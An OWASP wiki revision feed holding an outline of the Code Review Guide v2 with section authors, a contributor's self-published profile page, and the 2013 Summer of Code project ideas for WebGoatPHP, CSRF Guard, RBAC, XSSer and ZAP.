# [[CRV2_ResourceExhaustionNativeCalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Logging code - Detective Security====&lt;br /&gt;
#Author - Palak Gohil&lt;br /&gt;
* Where to Log&lt;br /&gt;
* What to log&lt;br /&gt;
* What not to log&lt;br /&gt;
* How to log&lt;br /&gt;
# Internal link: [[https://www.owasp.org/index.php/Logging_Cheat_Sheet]]&lt;br /&gt;
# [[CRV2_LoggingCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Error handling and Error messages====&lt;br /&gt;
#Author - Gary Robinson&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Error-Handling]]&lt;br /&gt;
# [[CRV2_ErrorHandlingMessages|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Security alerts====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SecurityAlerts|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Review for active defense====&lt;br /&gt;
#Author - Colin Watson&lt;br /&gt;
# [[CRV2_ActiveDefense|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Reviewing Secure Storage====&lt;br /&gt;
#Author - Azzeddine Ramrami&lt;br /&gt;
# New Section&lt;br /&gt;
# [[CRV2_SecureStorage|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Hashing &amp;amp; Salting - When, How and Where====&lt;br /&gt;
=====Encrpyption=====&lt;br /&gt;
======.NET======&lt;br /&gt;
#Author Larry Conklin, Joan Renchie&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Codereview-Cryptographic_Controls]]&lt;br /&gt;
*''Can we talk about key storage as well i.e. key management for encryption techniques used in the application? - Ashish Rao''&lt;br /&gt;
# [[CRV2_HashingandSaltingdotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Reviewing by Vulnerability=&lt;br /&gt;
===Review Code for XSS===&lt;br /&gt;
#Author Palak Gohil, Anand Prakash&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Scripting]]&lt;br /&gt;
# In reviewing code for XSS - we can give more patterns on &amp;quot;source to sink&amp;quot; patterns for ASP.NET wrf to difference versions and mechanisms to display data in a page - Ashish Rao&lt;br /&gt;
# [[CRV2_RevCodeXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Persistent - The Anti pattern===&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Palak Gohil&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Mohammed Damavandi, Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author Chris Berberich&lt;br /&gt;
# [[CRV2_RevCodePersistentAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reflected - The Anti pattern===&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Palak Gohil&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Mohammed Damavandi, Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_RevCodeReflectedAntiPatternIRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Stored - The Anti pattern===&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternIntro|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatterndotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.Java====&lt;br /&gt;
#Author Palak Gohil&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author Mohammed Damavandi, Abbas Naderi&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_RevCodeStoredAntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===DOM XSS ===&lt;br /&gt;
#Author Larry Conklin&lt;br /&gt;
# [[CRV2_DOMXSS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===JQuery mistakes===&lt;br /&gt;
#Author Shenal Silva&lt;br /&gt;
# [[CRV2_JQueryMistakes|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for SQL Injection===&lt;br /&gt;
#Author Palak Gohil, Renchie Joan&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection]]&lt;br /&gt;
# [[CRV2_RevCodeSQLInjection|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - Mennouchi Islam Azeddine&lt;br /&gt;
# [[CRV2_SQLInjPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author - Mennouchi Islam Azeddine&lt;br /&gt;
# [[CRV2_SQLInjdotNET|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HQL====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SQLInjHQL|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===The Anti pattern===&lt;br /&gt;
====PHP====&lt;br /&gt;
#Author - Mohammad Damavandi, Abbas Naderi&lt;br /&gt;
# [[CRV2_AntiPatternPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author - Palak Gohil&lt;br /&gt;
#=&amp;gt; Searching for traditional SQL,JPA,JPSQL,Criteria,...&lt;br /&gt;
# [[CRV2_AntiPatternJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_AntiPatterndotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternRuby|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Cold Fusion====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_AntiPatternColdFusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for CSRF Issues===&lt;br /&gt;
#Author Palak Gohil,Anand Prakash, Abbas Naderi&lt;br /&gt;
# Previous version to be updated: [[https://www.owasp.org/index.php/Reviewing_Code_for_Cross-Site_Request_Forgery]]&lt;br /&gt;
# [[CRV2_CSRFIssues|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Transactional logic / Non idempotent functions / State Changing Functions===&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_TransLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing code for poor logic /Business logic/Complex authorization===&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_PoorLogic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Reviewing Secure Communications===&lt;br /&gt;
====.NET Config====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_SecCommsdotNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Spring Config====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_SecCommsSpringConfig|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====HTTP Headers====&lt;br /&gt;
#Author Gregory Disney, Abbas Naderi&lt;br /&gt;
# [[CRV2_SecCommsHTTPHdrs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====CSP=====&lt;br /&gt;
#Author Gregory Disney&lt;br /&gt;
# [[CRV2_SecCommsHTTPHdrsCSP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====HSTS=====&lt;br /&gt;
#Author Abbas Naderi&lt;br /&gt;
# [[CRV2_SecCommsHTTPHSTS|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Tech-Stack pitfalls===&lt;br /&gt;
#Author Gregory Disney&lt;br /&gt;
# [[CRV2_TechStackPitfalls|Put content here]]&lt;br /&gt;
&lt;br /&gt;
===Framework specific Issues===&lt;br /&gt;
====Spring====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesSpring|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Structs====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesStructs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Drupal====&lt;br /&gt;
#Author Gregory Disney&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDurpal|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Ruby on Rails====&lt;br /&gt;
#Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesROR|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Django====&lt;br /&gt;
#Author Gregory Disney&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesDjango|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====.NET Security / MVC====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesdotNetMVC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Security in ASP.NET applications====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNet|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Strongly Named Assemblies=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetStrongAssembiles|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======Round Tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRT|Put content here]]&lt;br /&gt;
&lt;br /&gt;
======How to prevent Round tripping======&lt;br /&gt;
# Author - Open&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetRTPrevention|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Setting the right Configurations=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetConfigs|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Authentication Options=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetAuth|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code Review for Managed Code - .Net 1.0 and up=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetManagedCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Using OWASP Top 10 as your guideline=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPTop10|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=====Code review for Unsafe Code (C#)=====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPNetUnsafeCode|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====PHP Specific Issues====&lt;br /&gt;
#Author Mohammad Damavandi, Abbas Naderi&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesPHP|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Classic ASP====&lt;br /&gt;
#Author Johanna Curiel&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesASPClassic|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C#====&lt;br /&gt;
#Author Johanna Curiel, Renchie Joan&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCsharp|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====C/C++====&lt;br /&gt;
#Author Gary Robinson&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesCplusplus|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Objective C====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesObectiveC|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Java====&lt;br /&gt;
#Author Palak Gohil&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesJava|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Android====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesAndroid|Put content here]]&lt;br /&gt;
&lt;br /&gt;
====Coldfusion====&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_FrameworkSpecIssuesColdfusion|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Security code review for Agile development=&lt;br /&gt;
#Author Open&lt;br /&gt;
# [[CRV2_CodeReviewAgile|Put content here]]&lt;br /&gt;
&lt;br /&gt;
=Willing to review drafts=&lt;br /&gt;
#Terry Nerpester&lt;br /&gt;
#Larry Conklin&lt;br /&gt;
#Gary Robinson&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=150173</id>
		<title>User:Islam Azeddine Mennouchi</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=150173"/>
				<updated>2013-04-21T08:18:00Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Mennouchi Islam Azeddine owasp Algeria chapter leader Senior Dev. At NovaSup&lt;br /&gt;
&lt;br /&gt;
== Professional Details  ==&lt;br /&gt;
* Founder and CEO of Way4Com&lt;br /&gt;
* Founder Of DzGaNg Hacking and security&lt;br /&gt;
* Teacher and contributor at Hacking-Lab&lt;br /&gt;
* Security Free Lancer&lt;br /&gt;
* Owasp Algeria Chapter Leader  &lt;br /&gt;
* Pentester at NetBeOpen&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
* OWASP ODZ Multi Cms Scanner (Leader)&lt;br /&gt;
* Sevral Cheat Contributor (Access Control , XSS Filter Evasion ...)&lt;br /&gt;
&lt;br /&gt;
== Contact Details ==&lt;br /&gt;
Facebook : [http://www.facebook.com/islamoc Mennouchi Islam Azeddine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
emails : &lt;br /&gt;
         islamoc@gmail.com&lt;br /&gt;
         admin@dzgang.info&lt;br /&gt;
         admin@way4com.com&lt;br /&gt;
         azeddine.mennouchi@owasp.org&lt;br /&gt;
         ai_mennouchi@esi.dz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phone : +213796314102&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=150087</id>
		<title>User:Islam Azeddine Mennouchi</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=User:Islam_Azeddine_Mennouchi&amp;diff=150087"/>
				<updated>2013-04-18T16:26:50Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Mennouchi Islam Azeddine owasp Algeria chapter leader Senior Dev. At NovaSup&lt;br /&gt;
&lt;br /&gt;
== Professional Details  ==&lt;br /&gt;
* Founder and CEO of Way4Com&lt;br /&gt;
* Founder Of DzGaNg Hacking and security&lt;br /&gt;
* Teacher and contributor at Hacking-Lab&lt;br /&gt;
* Security Free Lancer&lt;br /&gt;
* Owasp Algeria Chapter Leader  &lt;br /&gt;
* Pentester at NetBeOpen&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Contact Details ==&lt;br /&gt;
Facebook : [http://www.facebook.com/islamoc Mennouchi Islam Azeddine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
emails : &lt;br /&gt;
         islamoc@gmail.com&lt;br /&gt;
         admin@dzgang.info&lt;br /&gt;
         admin@way4com.com&lt;br /&gt;
         azeddine.mennouchi@owasp.org&lt;br /&gt;
         ai_mennouchi@esi.dz&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Phone : +213796314102&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GSoC2013_Ideas&amp;diff=150086</id>
		<title>GSoC2013 Ideas</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GSoC2013_Ideas&amp;diff=150086"/>
				<updated>2013-04-18T16:15:23Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==OWASP Project Requests==&lt;br /&gt;
===OWASP WebGoatPHP===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Webgoat]] is a deliberately insecure open source software made by OWASP using Java programming language. It has a set of challenges and steps, each providing the user with one or more web application vulnerability which user tries to solve. There are also hints and auto-detection of correct solutions. &lt;br /&gt;
Since Java is not the most common web application programming language, and it doesn't have many of the bugs other languages such as PHP have when it comes to security, OWASP has [[OWASP_WebGoat_Reboot2012|dedicated in 2012]] an amount of $5000 for promotion of WebGoatPHP.&lt;br /&gt;
&lt;br /&gt;
If you want to know more about WebGoatPHP, I suggest downloading and giving WebGoat a try. It is one of OWASP prides (about 200000 downloads).&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' WebGoatPHP will be a deliberately insecure PHP web application which operates in different modes. A contest mode where challenges are selected by an admin and the system starts a contest. Admins can open up hints for participants and manage everything. A workshop mode, where the educator has control of the most of application features, as well as feedback of user activities and is ideal for learning environments, and a single mode where someone can browse challenges and solve them.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' You just need to know PHP. You are supposed to define flawed systems, which is not the hardest thing. Familiarity with web application security and SQL is recommended.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
===OWASP CSRF Guard===&lt;br /&gt;
'''Description:''' [[Cross-Site_Request_Forgery_(CSRF)|CSRF]] is a complicated yet very effective web attack. The most important thing about CSRF is that it's hard to properly defend against it, specially when it comes to Web 2 and AJAX. We have had discussions on means of mitigating CSRF for years at OWASP, and are now ready to develop libraries for it. Many of the key ideas of this library can be found at [http://www.cs.sunysb.edu/~rpelizzi/jcsrf.pdf].&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' A transparent Apache 2 module properly mitigating all POST CSRF attacks, as well as a lightweight PHP library doing the same.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisites:''' Knowing CSRF and at least one way to defend against it, PHP, C/C++, Linux.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP PHP Security Project===&lt;br /&gt;
&lt;br /&gt;
'''Description:'''&lt;br /&gt;
OWASP PHP Security project plans to gather around secure PHP libraries, and provide a full featured framework of libraries for secure web applications in PHP, both as separate de-coupled libraries and as a whole secure web application framework. Many aspects of this project are already handled, and are being added to OWASP.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results: ''' Result of this project is much more security among PHP applications. Most PHP applications are vulnerable and there's no central approach to secure them (due to open source nature). Many people look at OWASP for such information.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Anyone with adequate PHP programming language experience (possibly web application development in PHP).  There are hard and easy parts of this project. For tougher parts, familiarity with security concepts, advanced SQL, and advanced PHP and web server configuration is required. &lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
===OWASP RBAC Project===&lt;br /&gt;
'''Description:''' ''For the last 6 years, improper access control has been the issue behind two of the Top Ten lists''. &lt;br /&gt;
&lt;br /&gt;
RBAC stands for Role Based Access Control and is the de-facto access control and authorization standard. It simplifies access control and its maintenance for small and enterprise systems alike. NIST RBAC standard has four levels, the second level hierarchical RBAC is intended for this project.&lt;br /&gt;
&lt;br /&gt;
Unfortunately because of many performance and development problems, no suitable RBAC implementation was available until recently, so developers and admins mostly used ACLs and other forms of simple access control methods, which leads to broken and unmaintainable access control over the time. &lt;br /&gt;
&lt;br /&gt;
OWASP provides the RBAC project, as a stand-alone library with very fast access control checks and standard mature code-base. Currently [[PHPRBAC]] which is the PHP version of the RBAC project is released.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' Standard NIST level 2 hierarchical RBAC libraries for different programming languages, specially web-based ones such as C/C++/Java/ASP/ASPX/Python/Perl/etc.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Good SQL knowledge, library development schemes, familiarity with one of the programming languages.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:Abbas Naderi|Abbas Naderi]]&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Advanced&lt;br /&gt;
&lt;br /&gt;
For more info, visit [http://phprbac.net phprbac.net]&lt;br /&gt;
&lt;br /&gt;
===OWASP XSSer Project===&lt;br /&gt;
&lt;br /&gt;
XSSer has a correct engine implementation to search/exploit XSS vulnerabilities, but it is necessary to work on some different fields to obtain better results. Some of them are: to fight against &amp;quot;false positive&amp;quot; results, to implemenet a better human-readable output results and to develop some new features (like; CSSer, Code checks user inputs, etc...). Also, it will be nice to update the tool with more valid XSS vectors (DOM, DCP, reflected, etc...) and some &amp;quot;anti-anti-XSS&amp;quot; systems for more common browsers. &lt;br /&gt;
&lt;br /&gt;
There is a roadmap on a pdf file with all tasks required to advance to next release of 'XSSer' (v1.7b - Total Swarm!)&lt;br /&gt;
&lt;br /&gt;
Download: http://xsser.sourceforge.net/xsser/xsser-roadmap.pdf &lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Below is shown a structure of phases and milestones code areas.&lt;br /&gt;
&lt;br /&gt;
Milestones:&lt;br /&gt;
    • Phase 1: Core:&lt;br /&gt;
        + Bugfixing:&lt;br /&gt;
             - False positives&lt;br /&gt;
             - Fix “swarm” results&lt;br /&gt;
             - Fix 'maximize' screen (bug reported)&lt;br /&gt;
             - Add auto-update revision&lt;br /&gt;
             - Fix multithreading (review)&lt;br /&gt;
             - Research 'glibc' corruption&lt;br /&gt;
&lt;br /&gt;
        + Add crawlering for POST+GET (auto test 'whole' page forms)&lt;br /&gt;
        + Update XSS payloads (vectors.py / DOM.py / DCP.py / etc...)&lt;br /&gt;
        + Advance Statistics results (show more detailed outputs)&lt;br /&gt;
        + Advance Exporting methods (create 'whitehat' reports (xml/json))&lt;br /&gt;
        + Advance “WebSockets” technology on XSSer 'fortune' option&lt;br /&gt;
        + Update Interface (GTK+)&lt;br /&gt;
&lt;br /&gt;
    • Phase 2: New features:&lt;br /&gt;
        + Add 'code pre-check' option: Users can set which code will return target's website, to try to evade false positive results.&lt;br /&gt;
        + Add 'CSSer' option: Payloads for CSS injections.&lt;br /&gt;
        + Research/Search anti-IDS/NIDS/IPS... codes to evade XSS filters.&lt;br /&gt;
        + BurpXSSer: Create a Burp plugin (with Jython libs)&lt;br /&gt;
        + ZAPXSSer: Create a ZAP plugin (with Jython libs)&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* To deploy a new stable version of XSSer with GTk+/Web/Shell main features working propertly,&lt;br /&gt;
&lt;br /&gt;
The code should be:&lt;br /&gt;
&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
XSSer is written in Python, so a good knowledge of this language is recommended, as is knowledge of HTML and Javascript. Also, is necessary to have some knowledge of application security and more in concret about XSS techniques.&lt;br /&gt;
&lt;br /&gt;
'''Skill Level:''' Medium&lt;br /&gt;
&lt;br /&gt;
'''Mentor: epsylon (psy) - OWASP XSSer Project Leader'''&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: Dynamically Configurable actions===&lt;br /&gt;
&lt;br /&gt;
ZAP provides various mechanisms which allow HTTP requests and responses to be changed dynamically. So (for example) a string in an HTTP request can automatically be changed to another string.&lt;br /&gt;
&lt;br /&gt;
It also supports a scripting interface, which is very powerful but at the moment difficult to use.&lt;br /&gt;
&lt;br /&gt;
This project would introduce something inbetween thess 2 options - a powerful way of defining (potentially) complex rules using a wizard based interface.&lt;br /&gt;
&lt;br /&gt;
The challenge will be to make it as usable as possible while still providing a wide range of functionality.&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
This component would provide a set of highly configurable 'actions' which the user would see up via a wizard.&lt;br /&gt;
&lt;br /&gt;
So they would initially define when the action applies, based on things like regex matching on request elements. And they should be able to define multiple criteria with ANDs and ORs.&lt;br /&gt;
&lt;br /&gt;
Then they would define the actions, which could include:&lt;br /&gt;
&lt;br /&gt;
* Changing the request (adding, removing or replacing strings)&lt;br /&gt;
* Raising alerts&lt;br /&gt;
* Breaking (to replace existing break points)&lt;br /&gt;
* Running custom scripts (which could do pretty much anything) &lt;br /&gt;
&lt;br /&gt;
They would then be able to switch the actions on and off from the full list of defined actions using checkboxes&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* A new ZAP add-on providing the above functionality&lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Simon Bennetts - OWASP ZAP Project Leader'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===OWASP ZAP: Enhanced HTTP Session Handling===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
ZAP can currently manage multiple sessions. This development would allow ZAP to better handle HTTP Sessions to provide different views of a given target depending on the different user's permissions that the targeted site supports.&lt;br /&gt;
&lt;br /&gt;
This implementation such provide a set of methods to answer questions such as: 1)What nodes(pages) are available to a group of users and not to other groups of users 2)What nodes are available to different users but these contain significant differences in the HTTP headers and/or in the body content.&lt;br /&gt;
&lt;br /&gt;
This will allow ZAP to be used to detect access control issues which would otherwise require manual testing.&lt;br /&gt;
Expected results:&lt;br /&gt;
&lt;br /&gt;
* ZAP will have an understanding of both users and roles and be able to associate them with HTTP sessions.&lt;br /&gt;
* The user will be able to associate credentials with different roles allowing ZAP to automatically authenticate as any user / role.&lt;br /&gt;
* ZAP will be able to spider an application using a given user/role.&lt;br /&gt;
* ZAP will be able to report the differences between different HTTP sessions.&lt;br /&gt;
* ZAP will be able to show different views of the site in the site's tree tab with the pages visible for each session.&lt;br /&gt;
* ZAP will be able to attack one session based on the URLs accessed in another session and report which appear to work. &lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
Users will be able to:&lt;br /&gt;
* specify exactly which alerts are included, by context, site or on an individual alert basis&lt;br /&gt;
* specify what information is included and how it is layed out&lt;br /&gt;
* specify a range of output formats, at least including HTML and PDF&lt;br /&gt;
* include details of what testing has been performed (automatically generated where possible)&lt;br /&gt;
* apply their own branding&lt;br /&gt;
* save report templates, and apply templates downloaded from the ZAP marketplace &lt;br /&gt;
The code should be:&lt;br /&gt;
* Clean and easy to follow&lt;br /&gt;
* Include a full set of unit tests&lt;br /&gt;
* Include good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
ZAP is written in Java, so a good knowledge of this language is recommended, as is knowledge of HTML and the HTTP protocol specification. Some knowledge of application security would be useful, but not essential.&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Guifre Ruiz - OWASP ZAP Dev Team'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
